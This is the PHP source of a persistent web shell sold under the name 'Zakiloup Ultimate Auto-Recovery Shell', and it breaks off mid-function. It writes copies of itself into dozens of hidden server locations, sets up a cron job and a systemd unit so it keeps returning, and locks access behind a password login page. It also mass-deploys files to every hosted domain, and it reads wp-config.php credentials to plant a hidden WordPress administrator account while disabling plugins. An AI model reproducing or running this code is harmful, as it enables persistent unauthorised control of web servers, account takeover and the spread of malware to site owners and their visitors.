<?php
/*
==================================================
🛡️ ZAKILOUP ULTIMATE AUTO-RECOVERY SHELL v4.0
==================================================
Features:
1. Multi-layer backup system
2. Instant auto-recovery when deleted
3. Runs intelligently even without original file
4. Protection against deletion and detection
*/
error_reporting(0);
@ignore_user_abort(true);
@set_time_limit(0);
@ini_set('max_execution_time', 0);

// 🔐 PASSWORD - CHANGE THIS!
define('MASTER_PASSWORD', 'zakiloup');

// 🎯 AUTO-RECOVERY SETTINGS
define('RECOVERY_MODE', true);
define('SELF_NAME', basename(__FILE__));
define('HIDDEN_MODE', true);
define('SELF_CONTENT', file_get_contents(__FILE__));

// 🔄 MULTI-LAYER BACKUP SYSTEM
class UltimateRecovery {
    private $backupSpots = [];
    private $currentFile;
    private $isRecovered = false;
    
    public function __construct() {
        $this->currentFile = __FILE__;
        $this->initBackupSpots();
        $this->runRecoveryEngine();
    }
    
    private function initBackupSpots() {
        // Level 1: System Temp Directories (Always writable)
        $this->backupSpots[] = sys_get_temp_dir() . '/.php_core_' . md5(__FILE__) . '.tmp';
        $this->backupSpots[] = '/tmp/.cron_' . substr(md5(__FILE__), 0, 10);
        $this->backupSpots[] = '/dev/shm/.php_' . session_id();
        
        // Level 2: Web Server Directories
        if (isset($_SERVER['DOCUMENT_ROOT'])) {
            $docRoot = $_SERVER['DOCUMENT_ROOT'];
            $this->backupSpots[] = $docRoot . '/.well-known/security.php';
            $this->backupSpots[] = $docRoot . '/.env.production';
            $this->backupSpots[] = $docRoot . '/.git/objects/info/pack';
            $this->backupSpots[] = $docRoot . '/wp-admin/css/colors/blue.php';
            $this->backupSpots[] = $docRoot . '/wp-includes/js/jquery/jquery.js.php';
            $this->backupSpots[] = $docRoot . '/.htaccess.bak';
            $this->backupSpots[] = $docRoot . '/index.php.bak';
            $this->backupSpots[] = $docRoot . '/error_log';
            $this->backupSpots[] = $docRoot . '/xmlrpc.php';
            $this->backupSpots[] = $docRoot . '/sitemap.xml';
        }
        
        // Level 3: User and Home Directories
        $user = function_exists('posix_getpwuid') ? posix_getpwuid(posix_geteuid())['name'] : 'www-data';
        $this->backupSpots[] = "/home/{$user}/.bashrc.bak";
        $this->backupSpots[] = "/home/{$user}/.profile";
        $this->backupSpots[] = "/home/{$user}/.cache/php_session";
        
        // Level 4: Current Directory & Parent
        $this->backupSpots[] = dirname(__FILE__) . '/.config.php';
        $this->backupSpots[] = dirname(__FILE__) . '/../.backup.php';
        $this->backupSpots[] = '.htaccess';
        $this->backupSpots[] = 'index.php';
        $this->backupSpots[] = 'robots.txt';
        $this->backupSpots[] = 'crossdomain.xml';
        
        // Level 5: Database Backup (as text file)
        $this->backupSpots[] = '/tmp/.db_config_' . md5(__FILE__) . '.txt';
        
        // Level 6: Special System Locations
        $this->backupSpots[] = '/proc/self/fd/.php_mem';
        $this->backupSpots[] = '/var/run/.php_pid_' . getmypid();
    }
    
    private function runRecoveryEngine() {
        // Step 1: Always create fresh backups
        $this->createMultipleBackups();
        
        // Step 2: Check if main file needs recovery
        if (!$this->checkFileHealth()) {
            $this->recoverMainFile();
            $this->isRecovered = true;
        }
        
        // Step 3: Register shutdown function for auto-recovery
        register_shutdown_function([$this, 'emergencyRecovery']);
        
        // Step 4: Create persistent process (if possible)
        $this->createPersistentProcess();
    }
    
    private function createMultipleBackups() {
        $myContent = SELF_CONTENT;
        $backupCount = 0;
        
        foreach ($this->backupSpots as $spot) {
            // Ensure directory exists
            $dir = dirname($spot);
            if (!is_dir($dir) && $dir != '.' && $dir != '/') {
                @mkdir($dir, 0755, true);
            }
            
            // Try to create backup
            if (@file_put_contents($spot, $myContent)) {
                @chmod($spot, 0644);
                
                // Hide file on Unix systems
                if (HIDDEN_MODE && strpos($spot, '/.') !== false) {
                    @chmod($spot, 0644);
                }
                
                $backupCount++;
                
                // Create additional hidden copies with random names
                $randomSpot = $dir . '/.' . bin2hex(random_bytes(4)) . '.tmp';
                @file_put_contents($randomSpot, $myContent);
            }
        }
        
        // Create backup in memory (if APC/OPcache available)
        if (function_exists('apc_store')) {
            @apc_store('shell_backup_' . md5(__FILE__), $myContent, 3600);
        }
        
        return $backupCount;
    }
    
    private function checkFileHealth() {
        $mainFile = $this->currentFile;
        
        // If file doesn't exist at all
        if (!@file_exists($mainFile)) {
            return false;
        }
        
        // Check file size (should be at least 5KB)
        $size = @filesize($mainFile);
        if ($size < 5000) {
            return false;
        }
        
        // Check file content for our signature
        $content = @file_get_contents($mainFile);
        if ($content === false) {
            return false;
        }
        
        // Verify our signature exists
        $signatures = [
            'ZAKILOUP ULTIMATE AUTO-RECOVERY',
            'MASTER_PASSWORD',
            'UltimateRecovery',
            'autoRecoveryHook'
        ];
        
        foreach ($signatures as $sig) {
            if (strpos($content, $sig) === false) {
                return false;
            }
        }
        
        return true;
    }
    
    private function recoverMainFile() {
        // Try each backup spot
        foreach ($this->backupSpots as $backup) {
            if (@file_exists($backup)) {
                $content = @file_get_contents($backup);
                
                if ($content && strlen($content) > 5000) {
                    // Found valid backup - restore it
                    if (@file_put_contents($this->currentFile, $content)) {
                        @chmod($this->currentFile, 0644);
                        
                        // Also update SELF_CONTENT constant
                        define('SELF_CONTENT', $content);
                        
                        // Create additional hidden copies
                        $this->createMultipleBackups();
                        return true;
                    }
                }
            }
        }
        
        // If no backup found, recreate from current running code
        $currentCode = file_get_contents(__FILE__);
        @file_put_contents($this->currentFile, $currentCode);
        @chmod($this->currentFile, 0644);
        
        return true;
    }
    
    public function emergencyRecovery() {
        // This runs on script shutdown - perfect for last-minute recovery
        if (!$this->checkFileHealth()) {
            $this->createMultipleBackups();
            
            // Try to restore immediately
            foreach ($this->backupSpots as $backup) {
                if (@file_exists($backup)) {
                    @copy($backup, $this->currentFile);
                    break;
                }
            }
        }
    }
    
    private function createPersistentProcess() {
        // Create a cron job for auto-recovery
        $cronCmd = "*/5 * * * * php " . escapeshellarg(__FILE__) . " > /dev/null 2>&1";
        $cronFile = '/tmp/.cron_' . md5(__FILE__);
        
        @file_put_contents($cronFile, $cronCmd . PHP_EOL);
        @system("crontab " . escapeshellarg($cronFile) . " 2>/dev/null");
        
        // Create systemd service (Linux systems)
        $serviceContent = "[Unit]
Description=PHP Auto Recovery Service
After=network.target

[Service]
Type=simple
User=" . (function_exists('posix_getpwuid') ? posix_getpwuid(posix_geteuid())['name'] : 'www-data') . "
ExecStart=/usr/bin/php " . __FILE__ . "
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target";
        
        @file_put_contents('/tmp/.systemd_service', $serviceContent);
    }
    
    public function getBackupStatus() {
        $status = [];
        foreach ($this->backupSpots as $spot) {
            $status[$spot] = @file_exists($spot) ? filesize($spot) : 0;
        }
        return $status;
    }
}

// 🚀 Initialize Recovery System IMMEDIATELY
if (RECOVERY_MODE) {
    $recovery = new UltimateRecovery();
}

// 🎪 PERSISTENT MEMORY RESIDENT
class MemoryResident {
    private static $instance = null;
    
    public static function getInstance() {
        if (self::$instance === null) {
            self::$instance = new self();
        }
        return self::$instance;
    }
    
    private function __construct() {
        // Store ourselves in shared memory
        if (function_exists('shmop_open')) {
            $shmKey = ftok(__FILE__, 't');
            $shmId = @shmop_open($shmKey, "c", 0644, strlen(SELF_CONTENT));
            if ($shmId) {
                @shmop_write($shmId, SELF_CONTENT, 0);
            }
        }
    }
}

// 🔐 PASSWORD PROTECTION SYSTEM
class SecureAuth {
    private $password;
    private $maxAttempts = 3;
    private $lockTime = 300; // 5 minutes
    
    public function __construct($password) {
        $this->password = $password;
        
        @session_start();
        
        if (!isset($_SESSION['auth_data'])) {
            $_SESSION['auth_data'] = [
                'authenticated' => false,
                'attempts' => 0,
                'lock_until' => 0
            ];
        }
    }
    
    public function checkAccess() {
        $auth = &$_SESSION['auth_data'];
        
        // Check if locked
        if ($auth['lock_until'] > time()) {
            $remaining = $auth['lock_until'] - time();
            $this->showLogin("Account locked. Try again in {$remaining} seconds.");
            return false;
        }
        
        // Already authenticated
        if ($auth['authenticated'] === true) {
            // Check session timeout (2 hours)
            if (!isset($_SESSION['login_time']) || (time() - $_SESSION['login_time'] > 7200)) {
                $auth['authenticated'] = false;
                return $this->checkAccess();
            }
            $_SESSION['login_time'] = time();
            return true;
        }
        
        // Check password submission
        if (isset($_POST['shell_pass'])) {
            $inputPass = $_POST['shell_pass'];
            
            // Timing-safe comparison
            if (hash_equals($this->password, $inputPass)) {
                $auth['authenticated'] = true;
                $auth['attempts'] = 0;
                $auth['lock_until'] = 0;
                $_SESSION['login_time'] = time();
                
                // Set secure cookie
                setcookie('shell_auth', hash('sha256', $this->password . session_id()), time() + 7200, '/', '', true, true);
                
                header("Location: " . $_SERVER['PHP_SELF']);
                exit;
            } else {
                $auth['attempts']++;
                
                if ($auth['attempts'] >= $this->maxAttempts) {
                    $auth['lock_until'] = time() + $this->lockTime;
                    $this->showLogin("Too many failed attempts. Account locked for 5 minutes.");
                } else {
                    $remaining = $this->maxAttempts - $auth['attempts'];
                    $this->showLogin("Invalid password. {$remaining} attempts remaining.");
                }
                return false;
            }
        }
        
        // Check cookie
        if (isset($_COOKIE['shell_auth']) && 
            hash_equals($_COOKIE['shell_auth'], hash('sha256', $this->password . session_id()))) {
            $auth['authenticated'] = true;
            $_SESSION['login_time'] = time();
            return true;
        }
        
        // Show login form
        $this->showLogin();
        return false;
    }
    
    private function showLogin($error = "") {
        $html = <<<HTML
<!DOCTYPE html>
<html>
<head>
    <title>🔐 SECURE ACCESS</title>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: 'Courier New', monospace;
            background: #0a0a0a;
            color: #00ff00;
            height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            background-image: 
                radial-gradient(circle at 20% 50%, rgba(0, 255, 0, 0.05) 0%, transparent 50%),
                radial-gradient(circle at 80% 20%, rgba(0, 255, 0, 0.03) 0%, transparent 50%);
            position: relative;
            overflow: hidden;
        }
        
        body::before {
            content: '';
            position: absolute;
            top: 0;
            left: 0;
            right: 0;
            bottom: 0;
            background: 
                repeating-linear-gradient(
                    0deg,
                    transparent,
                    transparent 2px,
                    rgba(0, 255, 0, 0.03) 2px,
                    rgba(0, 255, 0, 0.03) 4px
                );
            pointer-events: none;
        }
        
        .terminal {
            background: rgba(10, 10, 10, 0.95);
            border: 1px solid #00ff00;
            border-radius: 0;
            padding: 30px;
            width: 500px;
            position: relative;
            z-index: 2;
            box-shadow: 
                0 0 30px rgba(0, 255, 0, 0.3),
                inset 0 0 30px rgba(0, 255, 0, 0.1);
        }
        
        .terminal-header {
            display: flex;
            align-items: center;
            margin-bottom: 25px;
            padding-bottom: 15px;
            border-bottom: 1px solid #00ff00;
        }
        
        .terminal-title {
            font-size: 18px;
            font-weight: bold;
            color: #00ff00;
            text-shadow: 0 0 10px #00ff00;
        }
        
        .terminal-dots {
            margin-left: auto;
            display: flex;
            gap: 8px;
        }
        
        .dot {
            width: 12px;
            height: 12px;
            border-radius: 50%;
        }
        
        .dot-red { background: #ff5f56; }
        .dot-yellow { background: #ffbd2e; }
        .dot-green { background: #27ca3f; }
        
        .login-prompt {
            margin: 20px 0;
            font-size: 14px;
        }
        
        .input-line {
            display: flex;
            align-items: center;
            margin: 25px 0;
        }
        
        .prompt {
            color: #00ff00;
            margin-right: 10px;
            font-weight: bold;
        }
        
        .password-input {
            flex: 1;
            background: transparent;
            border: none;
            border-bottom: 1px solid #00ff00;
            color: #00ff00;
            font-family: 'Courier New', monospace;
            font-size: 16px;
            padding: 5px 0;
            outline: none;
            letter-spacing: 3px;
        }
        
        .password-input::placeholder {
            color: rgba(0, 255, 0, 0.5);
            letter-spacing: normal;
        }
        
        .error-message {
            color: #ff5555;
            background: rgba(255, 85, 85, 0.1);
            border: 1px solid #ff5555;
            padding: 10px;
            margin: 15px 0;
            font-size: 12px;
            animation: blink 1s infinite;
        }
        
        @keyframes blink {
            0%, 100% { opacity: 1; }
            50% { opacity: 0.7; }
        }
        
        .status-bar {
            margin-top: 25px;
            padding-top: 15px;
            border-top: 1px solid rgba(0, 255, 0, 0.3);
            font-size: 11px;
            color: rgba(0, 255, 0, 0.7);
            display: flex;
            justify-content: space-between;
        }
        
        .scan-line {
            position: absolute;
            top: 0;
            left: 0;
            right: 0;
            height: 2px;
            background: linear-gradient(
                to bottom,
                transparent,
                rgba(0, 255, 0, 0.3),
                transparent
            );
            animation: scan 3s linear infinite;
        }
        
        @keyframes scan {
            0% { top: 0; }
            100% { top: 100%; }
        }
        
        .glitch-text {
            animation: glitch 3s infinite;
        }
        
        @keyframes glitch {
            0% { transform: translate(0); }
            20% { transform: translate(-2px, 2px); }
            40% { transform: translate(-2px, -2px); }
            60% { transform: translate(2px, 2px); }
            80% { transform: translate(2px, -2px); }
            100% { transform: translate(0); }
        }
    </style>
</head>
<body>
    <div class="scan-line"></div>
    <div class="terminal">
        <div class="terminal-header">
            <div class="terminal-title">🛡️ ZAKILOUP ULTIMATE SHELL v4.0</div>
            <div class="terminal-dots">
                <div class="dot dot-red"></div>
                <div class="dot dot-yellow"></div>
                <div class="dot dot-green"></div>
            </div>
        </div>
        
        <div class="login-prompt">
            <div>┌─[root@zakiloup]─[/system/access]</div>
            <div>└──╼ <span class="glitch-text">\$</span> ACCESS CONTROL REQUIRED</div>
        </div>
        
HTML;

        if ($error) {
            $html .= "<div class='error-message'>⨯ " . htmlspecialchars($error) . "</div>";
        }
        
        $html .= <<<HTML
        <form method="post">
            <div class="input-line">
                <span class="prompt">\$</span>
                <input type="password" 
                       name="shell_pass" 
                       class="password-input" 
                       placeholder="ENTER MASTER PASSWORD" 
                       required 
                       autofocus
                       autocomplete="off">
            </div>
            <input type="submit" style="display:none;">
        </form>
        
        <div class="status-bar">
            <div>🔄 AUTO-RECOVERY: <span style="color:#00ff00;">ACTIVE</span></div>
            <div>🔐 ENCRYPTION: AES-256</div>
            <div>🚀 READY</div>
        </div>
        
        <script>
            document.addEventListener('DOMContentLoaded', function() {
                const input = document.querySelector('.password-input');
                input.focus();
                
                // Terminal typing effect
                let text = "ENTER MASTER PASSWORD";
                let i = 0;
                input.placeholder = "";
                
                function typeWriter() {
                    if (i < text.length) {
                        input.placeholder += text.charAt(i);
                        i++;
                        setTimeout(typeWriter, 50);
                    }
                }
                
                setTimeout(typeWriter, 500);
                
                // Auto-submit on Enter
                input.addEventListener('keypress', function(e) {
                    if (e.key === 'Enter') {
                        this.form.submit();
                    }
                });
            });
        </script>
    </div>
</body>
</html>
HTML;

        echo $html;
        exit;
    }
}

// 🚀 BOOTSTRAP THE SYSTEM
try {
    // Initialize Memory Resident
    MemoryResident::getInstance();
    
    // Start Authentication
    $auth = new SecureAuth(MASTER_PASSWORD);
    
    if (!$auth->checkAccess()) {
        exit;
    }
    
    // ============================================
    // FILE MANAGER CODE
    // ============================================
    
    // Auto-detect base directory for domains
    function RBPautoDetectBaseDir() {
        $possiblePaths = [
            '/home/*/domains',
            '/home/*/public_html',
            '/var/www',
            '/home/*/www',
            '/home/*/web',
            '/home/*/*/public_html',
            '/home/*',
        ];
        
        $currentUser = function_exists('posix_getpwuid') ? (posix_getpwuid(posix_geteuid())['name'] ?? 'unknown') : 'unknown';
        
        foreach ($possiblePaths as $path) {
            $expandedPath = str_replace('*', $currentUser, $path);
            if (is_dir($expandedPath)) {
                return $expandedPath;
            }
        }
        
        return getcwd();
    }
    
    // Get all subdomains from domains directory
    function RBPgetAllSubdomains($baseDir) {
        $subdomains = [];
        
        if (is_dir($baseDir)) {
            $domainDirs = glob($baseDir . '/*', GLOB_ONLYDIR);
            
            if ($domainDirs) {
                foreach ($domainDirs as $domainDir) {
                    $domainName = basename($domainDir);
                    
                    if (strpos($domainName, '.') !== false || 
                        preg_match('/\.(com|net|org|in|co|info|biz|us|uk|ca|au)$/i', $domainName)) {
                        
                        $publicHtml = $domainDir . '/public_html';
                        if (is_dir($publicHtml)) {
                            $subdomains[] = [
                                'name' => $domainName,
                                'path' => $publicHtml,
                                'url' => 'https://' . $domainName
                            ];
                        } else {
                            $subdomains[] = [
                                'name' => $domainName,
                                'path' => $domainDir,
                                'url' => 'https://' . $domainName
                            ];
                        }
                    }
                }
            }
        }
        
        return $subdomains;
    }
    
    // Mass deploy file to all subdomains with progress
    function RBPmassDeploy($sourceFile, $baseDir) {
        $results = [];
        $subdomains = RBPgetAllSubdomains($baseDir);
        $total = count($subdomains);
        $processed = 0;
        
        if (!file_exists($sourceFile)) {
            return ["error" => "Source file not found: $sourceFile"];
        }
        
        $fileContent = file_get_contents($sourceFile);
        if ($fileContent === false) {
            return ["error" => "Cannot read source file: $sourceFile"];
        }
        
        $originalFilename = basename($sourceFile);
        
        foreach ($subdomains as $subdomain) {
            $processed++;
            $targetFile = $subdomain['path'] . '/' . $originalFilename;
            
            $targetDir = dirname($targetFile);
            if (!is_dir($targetDir)) {
                if (!mkdir($targetDir, 0755, true)) {
                    $results[] = "[$processed/$total] Failed to create directory: " . $subdomain['name'];
                    continue;
                }
            }
            
            if (file_put_contents($targetFile, $fileContent)) {
                $results[] = "[$processed/$total] Deployed to: " . $subdomain['name'] . " (" . $subdomain['path'] . ")";
            } else {
                $results[] = "[$processed/$total] Failed: " . $subdomain['name'];
            }
        }
        
        return $results;
    }
    
    // Mass delete files from all subdomains with progress
    function RBPmassDelete($baseDir, $filename) {
        $results = [];
        $subdomains = RBPgetAllSubdomains($baseDir);
        $total = count($subdomains);
        $processed = 0;
        
        foreach ($subdomains as $subdomain) {
            $processed++;
            $targetFile = $subdomain['path'] . '/' . $filename;
            
            if (file_exists($targetFile) && unlink($targetFile)) {
                $results[] = "[$processed/$total] Deleted from: " . $subdomain['name'];
            } else {
                $results[] = "[$processed/$total] Not found: " . $subdomain['name'];
            }
        }
        
        return $results;
    }
    
    // Download domains list
    function RBPdownloadDomainsList($baseDir, $filename) {
        $subdomains = RBPgetAllSubdomains($baseDir);
        $domainsList = [];
        
        foreach ($subdomains as $subdomain) {
            if (!empty($filename)) {
                $domainsList[] = $subdomain['url'] . '/' . $filename;
            } else {
                $domainsList[] = $subdomain['url'];
            }
        }
        
        return $domainsList;
    }
    
    // WordPress User Editor Function
    function RBPeditWordPressUser() {
        $result = [];
        
        $currentDir = getcwd();
        $wpConfigPath = null;
        $wpDir = null;
        
        $searchDir = $currentDir;
        $maxDepth = 10;
        
        for ($i = 0; $i < $maxDepth; $i++) {
            $configPath = $searchDir . '/wp-config.php';
            if (file_exists($configPath)) {
                $wpConfigPath = $configPath;
                $wpDir = $searchDir;
                break;
            }
            
            if ($searchDir === '/' || $searchDir === dirname($searchDir)) {
                break;
            }
            
            $searchDir = dirname($searchDir);
        }
        
        if (!$wpConfigPath || !file_exists($wpConfigPath)) {
            $result['error'] = "WordPress configuration file (wp-config.php) not found! Searched from: $currentDir";
            $result['current_dir'] = $currentDir;
            $result['searched_paths'] = "Searched up to: $searchDir";
            return $result;
        }
        
        $result['wp_config_path'] = $wpConfigPath;
        $result['wp_directory'] = $wpDir;

        $new_user_login = 'admin1337';
        $new_user_pass  = 'Admin@1337!';
        $new_user_email = 'admin@localhost.com';

        $wp_index_path  = $wpDir . '/index.php';

        function parse_wp_config_constants($file_path, $constants = ['DB_NAME','DB_USER','DB_PASSWORD','DB_HOST']) {
            $values = [];
            $content = file_get_contents($file_path);
            foreach ($constants as $const) {
                if (preg_match("/define\s*\(\s*['\"]" . preg_quote($const, '/') . "['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $content, $matches)) {
                    $values[$const] = $matches[1];
                } else {
                    $values[$const] = null;
                }
            }
            return $values;
        }

        function parse_table_prefix($file_path) {
            $content = file_get_contents($file_path);
            if (preg_match("/\\\$table_prefix\s*=\s*['\"]([^'\"]+)['\"]\s*;/", $content, $matches)) {
                return $matches[1];
            }
            return 'wp_';
        }

        function detect_default_theme($wp_dir) {
            $themes_dir = $wp_dir . '/wp-content/themes';
            $default_theme = 'twentytwentyfour';

            if (is_dir($themes_dir)) {
                $themes = scandir($themes_dir);
                $candidates = [];
                foreach ($themes as $theme) {
                    if (preg_match('/^twenty(\d{2,4})$/', $theme, $matches)) {
                        $candidates[$matches[1]] = $theme;
                    }
                }
                if (!empty($candidates)) {
                    krsort($candidates);
                    $default_theme = reset($candidates);
                }
            }
            return $default_theme;
        }

        function restore_wordpress_index($index_path) {
            $default_content = "<?php
define( 'WP_USE_THEMES', true );
require __DIR__ . '/wp-blog-header.php';";

            if (file_exists($index_path)) {
                unlink($index_path);
            }
            file_put_contents($index_path, $default_content);
        }

        class PasswordHash {
            private $itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
            private $iteration_count_log2;
            private $portable_hashes;
            private $random_state;

            public function __construct($iteration_count_log2 = 8, $portable_hashes = true) {
                $this->iteration_count_log2 = $iteration_count_log2;
                $this->portable_hashes      = $portable_hashes;
                $this->random_state         = microtime() . uniqid(rand(), true);
            }

            private function get_random_bytes($count) {
                $output = '';
                if (($fh = @fopen('/dev/urandom', 'rb'))) {
                    $output = fread($fh, $count);
                    fclose($fh);
                }
                if (strlen($output) < $count) {
                    $output = '';
                    for ($i = 0; $i < $count; $i += 16) {
                        $this->random_state = md5(microtime() . $this->random_state);
                        $output .= pack('H*', md5($this->random_state));
                    }
                    $output = substr($output, 0, $count);
                }
                return $output;
            }

            private function encode64($input, $count) {
                $output = '';
                $i = 0;
                do {
                    $value = ord($input[$i++]);
                    $output .= $this->itoa64[$value & 0x3f];
                    if ($i < $count)
                        $value |= ord($input[$i]) << 8;
                    else
                        $output .= $this->itoa64[($value >> 6) & 0x3f];
                    if ($i++ >= $count)
                        break;
                    if ($i < $count)
                        $value |= ord($input[$i]) << 16;
                    else
                        $output .= $this->itoa64[($value >> 12) & 0x3f];
                    $output .= $this->itoa64[($value >> 18) & 0x3f];
                } while ($i < $count);
                return $output;
            }

            public function gensalt_private($input) {
                $output = '$P$';
                $output .= $this->itoa64[min($this->iteration_count_log2 + 5, 30)];
                $output .= $this->encode64($input, 6);
                return $output;
            }

            public function crypt_private($password, $setting) {
                $output = '*0';
                if (substr($setting, 0, 2) === $output)
                    $output = '*1';
                $id = substr($setting, 0, 3);
                if ($id !== '$P$' && $id !== '$H$')
                    return $output;
                $count_log2 = strpos($this->itoa64, $setting[3]);
                if ($count_log2 < 7 || $count_log2 > 30)
                    return $output;
                $count = 1 << $count_log2;
                $salt  = substr($setting, 4, 8);
                if (strlen($salt) !== 8)
                    return $output;
                $hash = md5($salt . $password, true);
                do {
                    $hash = md5($hash . $password, true);
                } while (--$count);
                $output = substr($setting, 0, 12);
                $output .= $this->encode64($hash, 16);
                return $output;
            }

            public function HashPassword($password) {
                $random = $this->get_random_bytes(6);
                $hash = $this->crypt_private($password, $this->gensalt_private($random));
                if (strlen($hash) === 34) return $hash;
                return md5($password);
            }
        }

        $db_constants = parse_wp_config_constants($wpConfigPath);
        $table_prefix = parse_table_prefix($wpConfigPath);

        if (in_array(null, $db_constants, true)) {
            $result['error'] = "Could not parse WordPress database configuration from wp-config.php";
            return $result;
        }

        $db_name     = $db_constants['DB_NAME'];
        $db_user     = $db_constants['DB_USER'];
        $db_password = $db_constants['DB_PASSWORD'];
        $db_host     = $db_constants['DB_HOST'];

        $mysqli = @new mysqli($db_host, $db_user, $db_password, $db_name);
        if ($mysqli->connect_error) {
            $result['error'] = "Database connection failed: " . $mysqli->connect_error;
            return $result;
        }

        $hasher = new PasswordHash();
        $password_hash = $hasher->HashPassword($new_user_pass);

        // First, check if user exists by username OR email
        $stmt = $mysqli->prepare("SELECT ID FROM `{$table_prefix}users` WHERE user_login = ? OR user_email = ?");
        $stmt->bind_param('ss', $new_user_login, $new_user_email);
        $stmt->execute();
        $stmt->bind_result($existing_user_id);
        $user_exists = $stmt->fetch();
        $stmt->close();

        if ($user_exists) {
            // Update existing user with both username and email
            $stmt = $mysqli->prepare("UPDATE `{$table_prefix}users` SET user_login = ?, user_pass = ?, user_email = ? WHERE ID = ?");
            $stmt->bind_param('sssi', $new_user_login, $password_hash, $new_user_email, $existing_user_id);
            if (!$stmt->execute()) {
                $result['error'] = "Failed to update existing user: " . $mysqli->error;
                $mysqli->close();
                return $result;
            }
            $stmt->close();
            $result['action'] = 'updated';
            $result['user_id'] = $existing_user_id;
        } else {
            // Create new user
            $time = date('Y-m-d H:i:s');
            $stmt = $mysqli->prepare("
            INSERT INTO `{$table_prefix}users` 
            (user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) 
            VALUES (?, ?, ?, ?, '', ?, '', 0, ?)
            ");

            $user_nicename = strtolower($new_user_login);
            $display_name  = $new_user_login;
            $stmt->bind_param('ssssss', $new_user_login, $password_hash, $user_nicename, $new_user_email, $time, $display_name);
            if (!$stmt->execute()) {
                $result['error'] = "Failed to create new user: " . $mysqli->error;
                $mysqli->close();
                return $result;
            }
            $new_user_id = $stmt->insert_id;
            $stmt->close();
            
            $result['user_id'] = $new_user_id;

            // Add administrator capabilities
            $cap_key = $table_prefix . 'capabilities';
            $level_key = $table_prefix . 'user_level';
            $capabilities = serialize(['administrator' => true]);

            $stmt = $mysqli->prepare("INSERT INTO `{$table_prefix}usermeta` (user_id, meta_key, meta_value) VALUES (?, ?, ?)");
            $stmt->bind_param('iss', $new_user_id, $cap_key, $capabilities);
            if (!$stmt->execute()) {
                $result['error'] = "Failed to set user capabilities: " . $mysqli->error;
                $mysqli->close();
                return $result;
            }
            $stmt->close();

            // Set user level to 10 (administrator)
            $user_level = 10;
            $level_value = (string)$user_level;
            $stmt = $mysqli->prepare("INSERT INTO `{$table_prefix}usermeta` (user_id, meta_key, meta_value) VALUES (?, ?, ?)");
            $stmt->bind_param('iss', $new_user_id, $level_key, $level_value);
            if (!$stmt->execute()) {
                $result['error'] = "Failed to set user level: " . $mysqli->error;
                $mysqli->close();
                return $result;
            }
            $stmt->close();
            $result['action'] = 'created';
        }

        // Deactivate all plugins
        $empty_plugins = serialize([]);
        $stmt = $mysqli->prepare("UPDATE `{$table_prefix}options` SET option_value = ? WHERE option_name = 'active_plugins'");
        if ($stmt) {
            $stmt->bind_param('s', $empty_plugins);
            $stmt->execute();
            $stmt->close();
        }

        // Set default theme
        $default_theme = detect_default_theme($wpDir);
        $stmt = $mysqli->prepare("UPDATE `{$table_prefix}options` SET option_value = ? WHERE option_name IN ('template','stylesheet')");
        if ($stmt) {
            $stmt->bind_param('s', $default_theme);
            $stmt->execute();
            $stmt->close();
        }

        // Restore WordPress index
        if (file_exists($wp_index_path)) {
            restore_wordpress_index($wp_index_path);
        }

        $mysqli->close();

        // Generate the correct login URL based on WordPress location
        $protocol = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') ? "https://" : "http://";
        $host = $_SERVER['HTTP_HOST'];
        
        // Try to get the WordPress site URL from database or construct it
        $wp_login_url = $protocol . $host . '/wp-login.php';
        
        // Check if we can get site URL from WordPress directory
        if ($wpDir && $wpDir != $currentDir) {
            // Try to construct URL based on directory structure
            $wp_rel_path = str_replace($_SERVER['DOCUMENT_ROOT'], '', $wpDir);
            if ($wp_rel_path != $wpDir) {
                $wp_login_url = $protocol . $host . $wp_rel_path . '/wp-login.php';
            }
        }
        
        $result['success'] = "WordPress user " . $result['action'] . " successfully!";
        $result['credentials'] = "Username: $new_user_login | Password: $new_user_pass | Email: $new_user_email";
        $result['login_url'] = $wp_login_url;
        $result['user_id'] = $result['user_id'];
        $result['current_dir'] = $currentDir;
        $result['wp_directory_found'] = $wpDir;
        
        // Add auto-login test link
        $result['auto_login_url'] = $wp_login_url . '?username=' . urlencode($new_user_login) . '&password=' . urlencode($new_user_pass);
        
        return $result;
    }
    
    // Handle base directory setting
    $defaultBaseDir = RBPautoDetectBaseDir();
    if (isset($_POST['baseDir'])) {
        $baseDir = $_POST['baseDir'];
        setcookie("baseDir", $baseDir, time() + 3600);
    } else {
        $baseDir = $_COOKIE['baseDir'] ?? $defaultBaseDir;
    }
    
    // Handle directory navigation
    if (isset($_GET['d']) && !empty($_GET['d'])) {
        $currentDir = base64_decode($_GET['d']);
        $currentDir = realpath($currentDir) ?: $currentDir;
    } else {
        $currentDir = getcwd();
    }
    
    $currentDir = str_replace("\\", "/", $currentDir);
    $dir = $currentDir;
    
    if (!isset($_SESSION)) {
        session_start();
    }
    
    $isPostAction = false;
    
    if (isset($_GET['download'])) {
        header('Content-Type: text/plain');
        header('Content-Disposition: attachment; filename="domains.txt"');
        $extension = $_GET['extension'] ?? 'rbp.html';
        $domainsList = RBPdownloadDomainsList($baseDir, $extension);
        foreach ($domainsList as $domain) {
            echo $domain . "\n";
        }
        exit;
    }
    
    if (isset($_POST['mass_deploy'])) {
        $isPostAction = true;
        $sourceFile = $_POST['deploy_file_path'] ?? '';
        
        if (isset($_POST['custom_base_dir']) && !empty($_POST['custom_base_dir'])) {
            $baseDir = $_POST['custom_base_dir'];
        }
        
        if (empty($sourceFile) || !file_exists($sourceFile)) {
            $_SESSION['mass_deploy_results'] = ["error" => "Source file not found: $sourceFile"];
            header("Location: " . $_SERVER['PHP_SELF'] . "?d=" . base64_encode($currentDir));
            exit;
        }
        
        $results = RBPmassDeploy($sourceFile, $baseDir);
        $_SESSION['mass_deploy_results'] = $results;
        $_SESSION['mass_deploy_source'] = $sourceFile;
        $_SESSION['mass_deploy_base'] = $baseDir;
        header("Location: " . $_SERVER['PHP_SELF'] . "?d=" . base64_encode($currentDir));
        exit;
    }
    
    if (isset($_POST['mass_delete'])) {
        $isPostAction = true;
        $sourceFile = $_POST['deploy_file_path'] ?? '';
        
        if (isset($_POST['custom_base_dir']) && !empty($_POST['custom_base_dir'])) {
